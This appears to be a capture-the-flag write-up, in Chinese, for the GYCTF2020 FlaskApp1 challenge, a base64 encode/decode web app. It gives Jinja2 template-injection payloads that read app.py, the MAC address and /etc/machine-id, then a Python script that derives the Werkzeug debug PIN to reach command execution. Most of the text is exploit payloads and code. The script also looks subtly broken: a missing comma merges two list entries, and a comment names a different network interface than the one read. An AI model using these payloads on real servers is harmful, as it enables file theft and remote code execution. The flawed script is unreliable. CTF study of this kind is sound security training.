[GYCTF2020]FlaskApp1

news2024/9/22 4:16:36

打开题目

简单的一个base64加解密小程序

查看提示，好像并没有什么用，题目是flask，可能是ssti模板注入

加密窗口{{7+7}},解密窗口e3s3Kzd9fQ== ({{7+7}}

加密窗口没看到注入，解密窗口存在注入，是模板注入

读取文件内容（将payload base64加密后输入解密窗口）

payload:{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}
得到

可得到waf函数，过滤了flag、os等

当在解密窗口输入非base64值时，会报错，说明开启了debug模式，我们可以计算pin码，利用pin码进入debug模式的交互式命令行进行命令的执行
同时可以得到文件路径

payload: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/sys/class/net/eth0/address','r').read() }}{% endif %}{% endfor %}

3a:f3:52:04:f2:e7

去掉冒号，转换成十进制得64816727519975

payload: {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/etc/machine-id','r').read() }}{% endif %}{% endfor %}

payload: 1408f836b0ca514d796cbf8960e45fa1

接下来试着编写脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb'# username
    'flask.app',# modname
    'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
    '64816727519975',# str(uuid.getnode()),  /sys/class/net/ens33/address
    '1408f836b0ca514d796cbf8960e45fa1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)